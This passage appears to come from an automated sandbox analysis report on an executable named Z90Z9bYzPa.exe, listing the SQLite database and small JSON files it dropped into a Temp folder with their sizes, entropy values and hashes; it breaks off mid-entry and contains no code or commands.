Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SwtZSwQN7O

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Sxn7frlltA

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\TUAFtnRJvg

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TYbY5xv7l5

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U5HlTpcVIX

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\URekIVYgSR

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UTdZ1Fa5D9

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UVkzWteE4W

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ut21jb1ncX

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\V0427u9jP2

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VEdzBWYzwW

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VJE64U8k1z

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VVCX36wORI

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vb7aoAg3y0

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vi1VH33PaS

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VvF66sVbTm

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VzdZXQaDBz

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W0fLo9r70I

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WCHAnzz4r3

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WKXxHaVHdL

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WPrNFJIshu

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\WVyn7jmHbU

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WZIC4mgvMo

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WcwOMgLCdB

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WfQwWJVa9V

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WiuPzX6HqS

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Wmlh6unmNJ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
